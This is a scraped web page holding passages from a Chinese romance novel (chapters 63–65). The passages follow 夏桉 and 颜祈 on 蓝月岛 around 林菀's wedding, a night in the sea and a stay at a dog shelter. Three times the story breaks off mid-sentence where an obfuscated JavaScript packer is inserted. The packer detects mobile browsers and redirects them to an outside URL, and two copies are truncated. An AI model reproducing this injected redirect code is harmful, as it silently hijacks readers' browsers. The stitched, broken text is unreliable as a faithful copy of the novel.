如今王淑华却和她有说有笑的在院子里择菜,见夏桉回来还拉着她说了好一会话,屋里闷热,白日暑热被赤红晚霞一遮顿时降温,屋外有自然风,王淑华把桌子搬到院子里打开灯,夏桉才看到原来在院子里那个老灯泡变成了一连串的长彩灯。 王淑华瞧她往那个彩灯多看了几眼,冷哼一声:“还不是那臭小子,把我好好的一个灯泡改成了这些花里胡哨的东西。” 李阿婆正巧端上最后一个菜:“我倒觉得挺好,这不是挺喜庆。” “好什么好,把我菜地都给弄没了,鸡也不能养。”王淑华一说到就来气,“现在晚上十点外面都还有人在走动,到底睡不睡觉。” “年轻人哪有早睡的。”李阿婆说:“你就是事多,岛上其他人都挺高兴的,我看你就是自己不痛快也见不得别人好。” 夏桉听到这话倒吸凉气,生怕王淑华下一秒脾气上来桌子都要掀翻,默不作声把碗放下,双肘抵按在桌面随时准备压住。 王淑华却只是没好气的又说了几句,显然对李阿婆这种掐架习以为常。 李阿婆却没有放过她,找准机会旧事重提:“还不是你们当初想的那些馊主意,把她非要留给你身边,要不然哪里有后面这些事,现在又说不满意了,人家还不是为了岛上好,出钱出力,在你这没讨到一点好还帮你做了那么多的事,老了老了,我看你是老糊涂了。” “那我也没看你真的反对,现在在这里马后炮,当初还不是在那边装哑巴,天天在礁石滩那边也没见你告诉他,你以为你不作声,就是不同流合污。” 李阿婆把筷子往桌子上一摔:“我还不是看你一直疯疯癫癫,岛上谁敢说你。” “......” 这一顿饭吃的夏桉战战兢兢,总怕两人掐架掐着就真的打起来。 直到饭后,李阿婆也没有离开,夏桉看到原来放工具的堂屋亮起灯,李阿婆从屋子里拿出一把大蒲扇坐在院子里赶虫子,对她笑说:“有这么意外?” 夏桉诚实的点点头,何止意外,简直震惊。 王淑华切了一盘西瓜放在桌子上,争先呛声道:“还不是怕她一个人死在家里都没人知道。” “说什么鬼话,也不知道是谁一个人总在家里哭,岛上的人还以为闹鬼了呢。”李阿婆从容应对。 晚风轻拂,月光如银,属于蓝月岛独特气息的海风又一次轻抚上夏桉的脸庞,无尽温柔,她低头接过王淑华递来的西瓜,永远是中间最好的那块。 耳边李阿婆和王淑华唇枪舌剑的日常还在继续,命运苛责王淑华,但她始终坚韧,曾经两个岛上最不对付的人也能在时过境迁之后握手言欢,相互扶持在同一个屋檐下生活。 夏桉咬了一口清甜的西瓜,嘴角无意识的扬起。 现在正值暑假,岛上游客多,入夜了还有人在沙滩那边嬉闹,夏桉这几年睡眠质量愈发不好,听着一点声音都能够在床上翻来覆去半天。 一个人生活久了胆子也开始变小,在家睡觉卧室门基本就没有关过。 但这里不行,海岛上的蚊子毒,她躺在曾经睡惯如今却难以适应的木板床上,开着灯观察房间。 楼上两个房间倒是没有什么变化,还维持之前的模样,墙上那些渗水的污渍只被简单粉刷过。 王淑华见她一直没关灯,在楼下扬声问了一句。 夏桉回应后把灯揿灭,仍然毫无睡意。 她侧身看着月光从窗户投在地下那一片轻薄的光影,脑子里混乱闪过很多画面。 摇了一整夜的蒲扇,眼睑下的淡青,清晨时那些缠绵的亲吻,连现在转动的老风扇都是她买的那个。 夏桉用力闭了下眼从床上郁闷坐直,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过去的五年,他们之间没有任何联系。 夏桉:“......” 颜祈艰难扯了下嘴角,又说:“听说你要开画展了,恭喜啊。” 同样的字眼从他们口中说出,颜祈的话显然比夏桉有诚意的多。 “你不也一样。” “嗯?” 夏桉指的是昨天林菀告诉她的事,意简言赅:“蓝月岛” 颜祈苦笑:“他们应该感谢你才对,是你拿股份换的开发权,颜淙......都和我说了。” 提及从前,他心口又闷的发疼,小心试探问出那个五年前就该追寻的答案:“你当时怎么不告诉我,你已经和他退婚了?” “也是,你告诉我,除了让我开心好像对你没有任何好处。”他抿着嘴唇莫名委屈,提出来又生怕她给出答案,于是在飞速之间将这个问题自问自答,消耗完毕。 她是要报复他,她不是要爱他。 这么简单的道理,过了五年颜祈依旧像一个没有长大的孩子,明明自己交出的是一张空白答卷,却希望在收回时得到满分成绩。 他有哪点值得夏桉去动恻隐之心,谁会因为空白答卷看上去干净整洁就额外给加他五分。 痴人说梦。 从前自以为是的上位者现在竟然会共情被驯养过的人。 夏桉听到这些话也不知道是该难过还是该庆幸,她望着颜祈眉宇之间的落寞,竟在心底突兀地觉得他可怜,湿漉漉的,像落水的小狗。 还真是一如既往的招数。 夏桉目光在他脸上平静巡视一圈,对这个已经被人抢先回答的问题不再做任何想法。 两人之间的氛围再次变得低沉,颜祈早就习惯了她的冷情,但他一直很会粉饰太平,“夏桉,我们以后还能像这样见面吗?” 他说:“以朋友的身份,反正你也不喜欢叫我哥哥,但好歹我们小时候也是一起长大的。” 夏桉分辨不出这种手段和前面相比哪种更加拙劣,又或者是一样的可恶。 相爱过的人重新见面才会分外眼热,他们不是,那些不该的情绪不会出现在夏桉身上。 于是她说:“当然,这有什么关系,我们又不是小孩了。” 她捏紧请帖往回走,到门口处才像是恍然想起,回头问:“那些画是你拿走的?” 颜祈眼里有流光经过,不自觉往前走了两步,朝她靠近:“你还要?” “不用,拿去丢了吧。” 仿佛被人在三九天浇了一桶冰水,他的心瞬时冻住一般,直到夏桉的身影消失在门口,颜祈仍觉浑身痛的几乎无法动弹,承受不住似的靠在墙边。 被人抛弃的阿黄成了在等待别人喜欢的小狗。 那被夏桉抛弃的颜祈呢? 是他忘了。 阿黄他们从来没有被主人寻找过,抛弃就是丢掉自己不想要的东西。 没有人会回头想念。 64. 第六十四章 林菀和春山结婚了,地址选在岛上最大的那棵榕树下。 林菀说两家住的近,对门出对门进没意思,要找一个有纪念意义的地方,挑来挑去选在了大榕树下面。 “多好,我们定情的地方。”林菀上场前这样对夏桉说。 海岛气温高,但好在这附近树多浓荫重,海水湛蓝,涛声回荡,海鸥在分外澄明的晴空高鸣翱翔,暖烘烘的夏风从海面而来,拂过粗壮树枝上绛红色的纱绸,又掠向林菀纯白的裙摆。 曾经大大咧咧的海岛少女在婚纱的加持下缓缓走过覆满绒草的绿地,一颦一笑都是恬淡的温柔。 小花童戴着珍珠头纱发箍小步向他们走去,春山蹲下拿过戒指给林菀戴上,漫天的礼花彩带应时发出一声爆破,周围人潮热烈欢呼,两人笑着在树下亲吻。 夏桉站在台下恍如隔世,这世界总有人要得到幸福,林菀终于得偿所愿。 一个稍胖的男人躬身从旁边把小花童抱下来,和身边的女人像在对她说表扬的话,小姑娘抿嘴笑红了脸。 夏桉觉得那个人有点眼熟,只是一时没有认出来。 “那是曲盛的女儿。”颜祈站在她的后面,追逐到夏桉的视线。 “这么大了?”夏桉有点惊讶,感受到时间流动的具象化,她离开的时候曲盛连个对象都没有,醉心在海里捕捞,现在女儿都能给林莞做小花童了。 颜祈嗯了一声没再说话,有人停在原地就有人向前走,曲盛走的很快,又或者是夏桉真的离开的太久。 蓝月岛这几年陆陆续续回来了很多人,曾经荒芜的海岛再一次焕发生机,生命延续的主题得以继续进行。 夏桉目色迟疑望向那棵被蓝月岛人奉为信仰的神树,根系裸露一大半的榕树巍峨挺立,枝叶葳蕤漏出点点光斑,林菀说这是她和春山定情的地方,他们在这里互通心意,推诚相见。 夏桉始终不知道那日的风铃声究竟从何处而来,但她也在树下听过祝福的声音。 大榕树被拉过禁止入内的长绳界线,但阻止不了游客想要获得祝愿的脚步,曾经的心愿被人覆盖,榕树下端的红绸缠结。 她抬头望着树顶那一条飘扬的红缎,高踞云端,也不知道是谁的渴望这般强烈。 仪式流程并不繁琐,两人对视说完誓词便算礼成。 台下人群聚集,林菀背过身把手里的捧花丢出去,曲大成纵身一跃,在空中摘得彩色花束,憨笑跑到旁边的树下递给一个女孩。 大家又是一阵玩笑起哄。 林菀在台上对夏桉挑眉,两人会心一笑。 昨天她本来说要把捧花直接送给夏桉,但夏桉犹豫片刻还是觉得应该给有需要的人。 “那估计就是大成了。”林菀当时双手背撑在床上,预感八九不离十。 夏桉记得曲大成,由内而外的老实腼腆,她在岛上吃的第一块红粿就是曲大成奶奶做的,那时她还一直怕这是颜祈的整蛊食物,等颜祈吃完才敢自己吃。 如今看来,蓝月岛又要好事将近。 小渔跑过来拉住夏桉的手,乖声叫她姐姐。 夏桉欣喜低下头,那个在她怀里哭过的小孩也变成了恬美开朗的少女,还没说一句话,她又躲在夏桉后面,悄声道:“姐姐,别让谢嘉找到我。” 夏桉立马挡住她,但她的身形哪够,眼前突然落下一道阴影,颜祈默不作声移到了她的前面,两人不过一步的距离。 他们许久没有靠的这样近,清淡的木质香,和几年前他常用的那一款相差甚远。 颜祈的喜好总是很固定,基本上确定一样东西就能长长久久的使用下去,不会产生更换的想法。 夏桉没有多想,既然答应了颜祈会以朋友的方式相处,扭扭捏捏只会让人觉得她在心虚。 他们终究还是没有挡住,谢嘉窝火瞪着颜祈,打不过也说不过,僵在原地警告:“江小渔,你再不出来,我就不让我哥给你补习了。” 小渔:“小阳哥哥才不会听你的。” 这种招数对她一点用也没有,最多骗骗谢嘉自己。 谢嘉气的挠了一下头发,改变策略又说:“那你出来,我给你道歉。” “不去,你又想骗我。” “这次是真的......我把上次拼好的那个积木送给你。” 小渔狐疑探出头,没忍住诱惑,果然被骗,谢嘉做了个鬼脸又在后面追着惹她。 颜祈视线跟随谢嘉奔跑的身影,想起他们小时候的那些事情:“其实你那时候也没错,确实没有人会喜欢这样的小孩。” “我没有讨厌谢嘉。”夏桉本能往后退一步,将距离拉开。 “你知道我说的不是他。” “有那么重要吗?” 她的讨厌并不能真的伤害颜祈,颜祈也不会因为这些事情就真的失去什么。 颜祈如今面对她总是身心都带着一种无计可施的挫败,夏桉的态度似密封严谨的铁桶,时间并没有让夏桉对他的厌恶减少半分。 昨日那些话不过是体面的搪塞,做不得真。 他不确定夏桉还愿意听自己说多少话,却还是会忍不住打探:“你明天是直接回去吗?” “房间一直留在那里,东西也都没有动。” 夏桉打断他:“不用,我住在外面。” “是因为我吗?”颜祈丧气落败,恳切道:“我可以搬出去住的,保证不会打扰到你,你一个女孩住在外面不安全,还回家住吧。” “颜祈,那不是我家。” 她的家早就没了,夏桉不会理所当然因为自己一直住在颜家就主次不分,不会因为余薇那些关切的善意就真的去肖想自己是那座老宅的主人,她姓夏,有自己的名字。 她感激颜家多年来的照顾,不论余薇颜淙他们提出任何要求都会竭尽全力去报答,这也是她不愿意和颜祈扯破的脸的缘故。 两人的视线今天第一次对视上,夏桉面色不改,话里话外礼数周到,给足了颜祈台阶:“我不会在这里待很久,等阿姨生日一过就会回去,谢谢你关心我。” “那边才不是你的家。”颜祈恨极了她这种礼貌的疏离,但凡夏桉和几年前那样愿意对他发脾气,打他恨他,也好过现在这样不痛不喜的模样。 他说不清自己的想法,只知道自己最害怕夏桉这样看似放下的平和。 与其这样还不如一直痛恨他,不要放过他,要耿耿于怀咬牙切齿每天每夜去咒骂他。 这种平静的释怀像在颜祈的心头悬上一把利剑,是永远无法到达的审判。 夏桉掀了掀眼皮,对他掷下最后一句:“你越界了!” -- 夏桉来的时候不知道林菀要结婚,一开始准备的礼物在这样的日子显得不够有诚意,她在江洲市没有朋友,找许琳帮忙才辗转让人捎了件合适的礼物上岛。 夏桉本想自己出岛去取,但对方说已经拜托好了去岛上的观光船,直接在渡口取就好了。 她以为是那日自己坐过的轮渡,到了才发现帮她带上岛的人是曲有财。 有人约了曲有财的船出岛海钓,两人来不及说太多的话,曲有财离开时干笑道让夏桉有空去家里玩,说阿财婶的超市扩张了,现在什么都有,缺什么直接过去拿就是了,不用特意出岛去买。 夏桉点头说好,还像以前一样叫他阿财叔。 曲有财背过身眼圈微红,渔船轰隆隆的往大海深处驶去。 她把曲有财给的螺贝提回家给王淑华,三人凑在一起收拾,还没等天黑,小渔趴在门口笑眯眯地往里叫人:“奶奶们好!” 正值暑假,岛上年轻的游客居多,林菀他们决定傍晚在海边举办一场新婚派对,见夏桉半天没出现,这才叫小渔过来找她。 王淑华有些不乐,夏桉明天就要离开,自是想和她多待一会,拉下脸道:“这么晚还出去做什么。” 李阿婆眯起眼,天边余霞成绮,太阳都还没下山,悄悄拉了拉她的衣摆暗示:“你管别人年轻人,这个点不出去玩,难道在家里陪着我们两个老家伙。” “你快去,玩高兴了再回来,我给你留门。” 王淑华浅叹一口气,摆摆手让夏桉早点回来。 小渔拉住夏桉的手走在平整的柏油路上,两侧错落的路灯到点有序点亮,灯火温暖,海风漪柔,晚归的游客三三两两有说有笑。 夏桉散漫看着周遭的变化,不知不觉间到了沙滩。 林菀过来挽住她的手嗔怪了两句,又让小渔去拿东西吃,这才带着她去篝火旁,礼物还没给出去,林菀就溜走说要去给她去拿饮料。 夏桉只能站在原地等,没等道林菀回来,却先看到了颜祈。 皓月当空,熊熊火焰在他们的眼底灼热,两人不像旧识,倒像仇敌。 林菀回来的时候还捧着一个红色塑料箱,用力晃了晃,洞口朝向夏桉:“谁让你来这么晚,这活动都要结束了,快点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448827|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你也抽一个。” “这什么?” “抽奖的,这里好多人都不认识,春山想了个破冰游戏,号码对应的蓝球可以让红球回答一个问题。”林菀催促道:“快快快,你抽一个,我看看是谁这么幸运。” 夏桉随手摸了一个,还没看清号码,就被林菀抢过去背对看了一眼,然后投进箱子里用力晃了晃,回头信誓旦旦道:“你十三号红球。” “十三号蓝球是谁来着......谁来着?”她刻意地转了一圈,露出恍然醒悟的神态,“呀,是颜祈!” 夏桉:“.......” 林菀才不管自己的演技有多么拙劣,继续夸张地说下面的台词:“我想想......他的题目是什么来着......” 过了几秒钟,林菀用力打了个响指,装作想起,振振有词道:“他说,做错事的人要怎么样才能够得到原谅。” “所以,你的答案是什么?” 夏桉笑不出来,这一看就是林菀自己想出来的鬼主意,游戏规则和号码题目都给她一个演完了。 周围有人撩眼往这边看,盯着林菀那个陌生的塑料箱一脸疑惑。 “给个面子,你这样我很尴尬的。”林菀悄悄把箱子往身后藏,被春山从后面接过拿到了手里。 夏桉沉默片刻,知道颜祈就在她的身后,故意为难。 “我要月亮。” 林菀扯过她小声道:“这怎么可能。” 虽然书上总说喜爱一个人恨不得把天上的星星月亮送给她,可这不过就是一种夸张的修辞手法,谁能真的摘得月亮星星送给心上人。 “我只要这个。”夏桉不做退让,她来这里的目的也不是为了要玩这些游戏,只是想把新婚礼物送给林菀。 她递过手中的花纹繁复的盒子,“新婚快乐,奶奶让我早点回去,先走了。” 林菀无奈挽留,看到春山对她摇头示意也只能作罢。 颜祈沉默跟在后面,两人一前一后离开沙滩,走过渡口。 渡口水线高,为了让更多的渔船可以停靠,这一段夷为平地,旁边连接等高浮桥,方便游客上岸。 风将他的衣服吹的微微鼓起,颜祈停下脚步:“刚刚说的话......都真的吗?” 他的语气很轻,带着某种隐隐的期盼,话刚出口就被涛涛海声盖过。 夏桉抬头望了一眼天上的月亮,自是不相信这种骗小孩才用的话。 “对。”她说的决绝,势必要将颜祈的期盼扼杀到底。 几乎是话音落地的瞬间,颜祈跃进了水里。 所有的一切发生的太快,夏桉甚至都没有猜透颜祈的心思,他的身影就已经消失在幽暗的海里。 夏桉没回头,颜祈做什么都好,与她无关。 走了有一小段距离,海风适时安静,夏桉听不到一点动静心头忍不住闪过一丝迟疑,他们一起长大,颜祈水性不错,但是普通人可以坚持这么久不上来换气吗? 夏桉脚步一滞,仓惶跑回去,蹲下抓住浮桥的边缘往水里喊:“颜祈,颜祈......颜祈......” 突然,一只冷白的手从水里伸了出来,拽住夏桉一起落入水中。 四周顿时暗了下去,幽蓝海幕下潮水四面八方朝她袭来。 随之而来的是一个亲吻。 熟悉的温度托住她的后颈,夏桉尝到苦咸的海水,勉强睁开眼,看见一汪沉凝的海,幽静深邃,那双眼始终如一朝她注视,恍惚间就能将人吞没。 他稍稍抬起手,靠近她的脸颊,指尖缱绻,像在触碰易碎的宝物。 只剩细微的距离,夏桉恼怒撇开脸。 颜祈眼眸微垂最终落在她的手腕上,将她用力往上托举。 夏桉骤然浮出水面,清爽空气重新落入呼吸,静谧的蓝色月光倾泻在海上,投入愔愔清色。 颜祈跟着浮出水面,湿漉漉的水珠从高挺眉骨滚落,一瞬不瞬看着她。 两人在月光下对峙,夏桉怒不可遏,生气吼道:“你疯了?” 颜祈却突然笑了起来,起伏的潮水几乎将周围的声音淹没,海水涌动,他回答的很小声,可夏桉还是听清楚了那些话。 “夏桉。” “我们在月亮里。” 远处,一簇又一簇的缤纷烟火在夜空绽放,倒映在微微发亮的海面上,水里也盛开出绮丽火花。 他们现在,在她想要的月亮里。 65. 第六十五章 简直蛮不讲理。 夏桉脸色冷的像寒冬凝结的湖面,抱手忿忿往回走,就没有见过颜祈这样会钻空子的人。 浑身湿乎乎有什么可高兴的? 她走到王淑华门前最后瞪了他一眼,暗暗咬牙。 现在冲上去打颜祈一巴掌是不是已经晚了?有人会因为朋友把自己拖下水就给他一巴掌吗? 夏桉的朋友太少,她找不到答案也错过了最佳时机,只能伸手推门,再用力,门依旧纹丝不动。 什么情况? 夏桉又试了好几下,开始使了点劲拍大门往里叫人:“奶奶?” “奶奶……我回来了……奶奶?……” “别敲了,她们不会开的。”颜祈走向前,倚在门边觉得有几分好笑,但没显露,轻轻拿下夏桉的手,“前面灯还亮着,你一敲她们就关了。” 夏桉:“?!又是你故意的?” 不是说好了要给她留门,现在才几点,她手机也没带。 “我哪有那本事,她平时都拿水直接泼我。”王淑华哪里会听他的,她可是这岛上最硬的刺头,利诱劝诫度不能让她退让半步。 夏桉后退两步,把加筑的围墙从上至下打量了好几遍,晚上气温不比白日,海风更大,她抱着胳膊越想越来气:“你没事怎么把墙建这么高?” 要是换成以前,她努努力说不定想想办法还能翻过去。 颜祈眼皮不眨,把责任全部推到王淑华身上:“她说要这么高,我也没办法。” 一开始只加高了二十公分,但王淑华总说外面的光打扰她睡觉,别人会往院子里偷看,一点隐私也没有,又让人垒高了一米多。 不过这倒也不是难事,他要是想帮忙,夏桉也能攀上那堵高墙进去。 “要不然......” 话说到一半颜祈又生生咽了回去,改口:“要不然你先去我那把衣服换了,晚上风大,这岛上还有这么多人,总站在这别人还以为我们是想做坏事呢。” 他摊摊手:“我是无所谓,看你。” 夏桉就差没直接把我看你就不安好心摆在脸上。 颜祈像是猜出她的心思,解释说:“就在小狗之家那里,今晚长风值班,不是只有我们两个。” 远处白色的楼房还散着暖光,证实他所言不假。 小狗之家距离南边的沙滩不远,但夏桉没去过,以前蓝月岛被开发面积小,主要用来居住,站在天台就能把岛上的情况看个大概,现在好多地方拔地起高楼,岛上人家也多把房子重建搭高,夏桉看着陌生就一直在家里陪王淑华说话。 颜祈把她带到房子的后面,一条直达三楼的阶梯映入眼帘。 “怎么不往前门进?”夏桉环顾四周,止住脚步。 颜祈径直向上,边走边镇定回答:“那是阿黄它们住的地方,可没有衣服给你换。” 转眼间,他便到了门前,见夏桉还站在楼下不动无奈道:“你先上来把衣服换了,等下我再带你去看。” 夏桉清清嗓子:“算了,我还是去找林菀。” “你确定?”颜祈倒是不急,拇指按在门上解锁,慢条斯理地说:“今天可是她结婚的日子,你要过去当电灯泡?” 海边的聚会早就散了,他配合地露出质疑的表情却没有说什么阻止的话,好似夏桉如果不介意,确实可以真的去找林菀,成为她和春山新婚之夜的超级大灯泡。 门锁嘀了一声解开,颜祈推门而入,温暖明亮的灯光沿着敞开的大门攀爬到扶栏上,成为这寂静海岛最明亮的那束光。 夏桉扯了扯贴在身上的衣服,感觉衣服再干下去能直接搓出盐,无奈垂头跟上。 客厅很大,但也很空,几乎看不出什么生活痕迹,黑色真皮沙发前只有一个透明茶几,上面散乱摆着一些资料,除此之外就是一个开放式的岛台厨房。 颜祈从房间里拿了一套灰色的衣物,上面叠放着两条毛巾,见她站在门口,把手里的东西顺手放在沙发一角,过去躬身从鞋柜里拿出一双白色的拖鞋,单腿蹲下要帮她换,歉意道:“平时没人来,你先穿我的吧。” 夏桉先是一愣,然后被他这个单膝跪地的姿势吓到,“不用,我自己来。” 颜祈也察觉自己的姿势有问题,起身等她换好鞋把衣服递过去,“只有一个浴室,你先用,这些都是新的,我去二楼员工宿舍那里。” 见颜祈出去关好门,夏桉没什么闲心再去纠结,汲着比自己脚大了许多的拖鞋找到卧室里的卫生间。 花洒倾泻的水柱终于洗去身上的黏腻,热气弥漫蒸腾,体温回升,原本紧绷的身体逐渐缓和。 热水持续冲刷身体,夏桉看着眼前那些熟悉的香氛沐浴不知道事情怎么会变成这样,她来之前明明是打听过颜祈在江洲市,为了避免遇见他才来的蓝月岛,结果不仅没逃开还让他拽进了海里。 夏桉冲着身上绵密的泡沫正胡思乱想,门外突然传来轻微的动静。 她下意识环住身体,僵在原地不敢动,过了几秒,颜祈的声音隔着些许距离传过来,应该是退到了外面,“我去便利店给你买了一次性的贴身衣物放在浴室外面,吹风机在镜柜后面。” 随后,是两声比较重的关门声。 一声是卧室的门,一声是外面的大门。 又过了好一会,夏桉感觉外面是真的没了动静才安心放下手,后知后觉脸热的发烫。 灰色运动服穿在她身上跟加大号的oversize卫衣一样,里面是一件贴身的白t,还好同色的卫裤有系绳,系到最紧看着倒也不是很奇怪。 夏桉换好衣服在镜柜后面找到吹风机,徐徐热风慢慢把发丝吹干,对镜检查了好几遍,低手收好东西打开门,客厅的灯亮着但是没人,卧室门口放着一双朝出门方向工整摆好的白色拖鞋,和她的鞋码一样,想来是颜祈刚才一起买的。 夏桉换了双拖鞋朝外走,依旧没看到人,从院子里绕到小狗之家的前门,门口有块彩色的小狗灯牌,线条简单但很可爱,看着有几分眼熟。 一楼的灯还亮着,夏桉敲了两下没听到声音拧开门,几道带着好奇又警惕的目光迅速聚集到她的身上,有小狗嗷呜了一声,前爪趴在透明的玻璃上朝她拜拜。 夏桉没想到这里会有这么多狗,什么品种的都有,往里是小狗玩的滑梯隧道和一切游乐设施。 阿黄从窝里探出头朝她汪汪两声,从栅栏里直接跳出来跑到夏桉的脚下摇尾巴,原本待吠的其他狗不叫了,纷纷盯着她打量。 “阿黄——” 长风听到动静警觉从后面跑出来,惊喜道:“珍珠姐姐,你怎么会在这?” “你是不是想看看平南哥特意给小狗们修的房子。” “算......算是吧。”夏桉顺下话题,这个问题可比前面那个好回答多了。 长风把阿黄赶回去睡觉,阿黄怎么着都不肯进去,连带着其他小狗也闹着想出来玩。 顿时哀怨声一片。 长风故作凶巴巴地把它们都驯了一顿,小狗们嗷呜几声,蔫头耷脑地趴在地上装睡觉。 夏桉忍俊不禁,“长风现在真厉害。” “这些狗都是平南哥在附近岛上发现的,还有一些是外面的小渔村。”长风把她带到里面,缓慢说道:“姐姐你先坐这里吧,平南哥还在楼上,他前面好像出去游泳了,衣服都是湿的。” “你怎么这么晚还不休息?”夏桉坐下顺势抛出问题,她能不知道颜祈怎么湿的,要不然也不会快夜深了还在这里。 长风挠了挠后脑勺有点不好意思,“我书还没有看完。” “什么书?” 长风眼里闪烁着期待的喜悦,举起桌上的书给她看,“陈医生说,可以教我,以后就不用怕阿黄他们吃错什么,只能让外面的医生来救他们了。” 话匣子被打开,长风滔滔不绝说起自己的近状:“平南哥说这是好事,他还让我去学校上课。” “我阿爸前几天还说,我现在认的字,比他还多。” “平南哥说......”长风有点记不清楚了。 夏桉牵起嘴角,视线扫过他书上那些彩色图画,“你怎么这么相信他?就不怕——” 她想起前面发生的事,刻意停顿了一瞬才说:“他哪天把你拖下水?” “平南哥游泳很厉害的。”长风睁大黑白分明的眼,无条件簇拥。 夏桉:“......” 她忘记了,长风应该听不出这句的话外音。 长风却以为是她不信,急急望着夏桉:“真的,平南哥在海里跟春山哥一样厉害。” “你那颗珍珠就是他在海里找了好久才找到的。” 夏桉听的一怔:“什么珍珠?” “就是他送你的那颗呀,平南哥说你想要一颗红色的珍珠,但是他找了好久都没找到,有一次还被水草缠住了,还好春山哥提前给了他一把小刀,最后才找到那颗珍珠,不过这个世界上真的有红色的珍珠吗,我都没有见过.......” 长风的声音在夏桉脑海里越来越远,恍惚间她想起那个夏日,颜祈手上那些皲裂或深或浅的伤口,他在祭海节时送了一条很劣质的项链,告诉她这是世界上绝无仅有的礼物。 他说他很了解她。 承诺即使她不是珍珠,平南也会一直属于她。 他们开诚相见决定相依为命,一直想要出岛的颜祈甘愿留在这里忍受王淑华的白眼,再没提出半个走字。 满身尖锐的人也会想寻得一颗最圆润的珍珠,在力所能及的范围献出最珍贵的礼物。 没有爱人天赋的颜祈在蓝月岛上,一直有在学习如何去爱她。 夏桉抬手抚上颈间,骤然回神,没找到那颗珍珠。 ...... 应该是在这里的,夏桉蹲在卫生间里来来回回找了好几遍。 自从那个冬日被人抢过一次后,她就把项链放在了家里,后面有次戴上就忘记了。 “东西掉了?”颜祈的声音从后面传来。 “没有。”夏桉立马起身,手背在后面。 颜祈直直盯着她看,扬了扬手中的杯子:“没找什么就过来把它喝了,你刚刚穿了那么久的湿衣服。” “那还不是因为你把我拉下去。”夏桉没什么好气,也不想想她为什么会全身湿透,门都进不去,罪魁祸首就在她的眼前。 “桉桉。” 颜祈在这个晚上又叫起了她的小名,像是明白了什么,拉起夏桉的右手握住纸杯,略烫的温度直触掌心,声线莫名低沉还带着几分无辜:“是你要我给你月亮的。” 夏桉语塞。 颜祈兀自伸手把她过长的袖口仔细挽了两圈,刚好露出盈润的手腕,嘴角牵起浅浅笑意:“你还是第一次穿我的衣服。” 夏桉手不自在地往后缩,低头轻抿了一口,草药气味扑鼻,不算好喝,但双手握着很舒服。 喝了才想起问:“什么东西?” 颜祈见她谨慎戒备的样子,微妙地笑笑:“现在才问我是不是晚了点,你都喝了。” “我可以吐出来。” “金银花、甘草、黄芪、薄荷,陈医生给的方子。” 颜祈轻轻敲了下她的额头,故意绷起脸,嗓音却带笑:“我还能害你不成。” “你说这话没有一点可信度。”夏桉小声嘀咕。 房间安静,颜祈把她的话听了个全,骨子那股戏弄人的劲又出来了,歪头笑道:“桉桉,你在我跟我发脾气?” “没有。”夏桉也不知道为什么,听到和颜祈有关的事情总会下意识否认。 颜祈视线在她脸上幽幽转了一圈,笑意不减,往后一倒瘫在床上,露出一截锻炼极好的薄肌,浑然不知地在那自话自说:“没关系,你愿意对我发脾气也挺好。” 他说:“你今天救了我,我很高兴。” 明晃晃的灯光,颜祈优越的五官在这几年的雕刻下更加精致,褪去青涩却依然保存着清爽的少年感,鼻梁高挺,睫毛浓密,笑眼弯弯望着天花板,凸出的喉结随着说话的动静一上一下,身上那些锐利的攻击性几乎已经消失不见。 “明明是你把我拖下去的。”夏桉讪讪移开眼,没被他的逻辑绕进去。 “桉桉,如果你不回头,我怎么可能抓住你。”他侧过头,眼神认真,嘴角露出一抹若有所思的笑,“而且,你今天也没有打我。” 夏桉撞进他笃信的目光里无言以为,对颜祈这种永远可以找到理由自洽的脑回路早已习惯。 他的关注点永远格外清奇,反正夏桉不管做什么总有自己的一套解读,简单来说就是只想自己爱想的,只听自己爱听的。 绝不从自己身上找原因,绝不内耗。 夏桉暗自深吸气。 颜祈立马见好就收,仰身从床上起来作投降状:“好了好了,我不说了,你快睡觉,我保证不打扰你。” 他正朝夏桉一步步朝后退,到门边说完最后一句:“晚安!” 门刚被关上,里面不出所料转刻传来反锁声。 夏桉又在浴室找了好几遍,最终不得不确信,项链丢了。 她这一晚去了太多地方,可是思来想去,也不可能一点感觉都没有,那就只能掉在海里了。 夏桉面色萎顿从浴室出来坐在床沿沉思,远处沙滩突然响起几声惊奇的欢呼。 她转头被窗外的幽幽蓝光吸引视线,走到落地窗下,踌躇不前。 现在正是蓝眼泪爆发的季节,夏桉已经知晓那日他们追逐的不过是会发光的海藻,根本不是星星。 无数深蓝色的夜光藻随着潮水起伏,那群人应该是特意过来看的,还带着了仙女棒,半空中溅起的星火连绵不绝。 物是人非的场景每天都会上演,掉在海里也好,也算物归原主了。 她抬手把桌上的茶水一口饮尽,将心里的忧悒压下去,不断这样告诉自己。 颜祈站在隔壁房间的露台上望着远处,眼底暗流涌动,直至另一侧房间的灯完全熄灭,远处的星星也消失的无影无踪才转身朝屋内走去。 涛声堆沓起伏,蓝月岛沐浴在皎洁月光之下,寂静祥和。 ....... 翌日。 夏桉在折射进来的暖阳里睁开眼,露台上晾晒的衣服已经干透,她换回自己的衣服打开门。 几乎是同时,颜祈听到动静立马缩回沙发上,长腿弯曲,双手合十放在脸颊处,眼眸微阖作沉睡状。 待夏桉在门口站了几秒,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 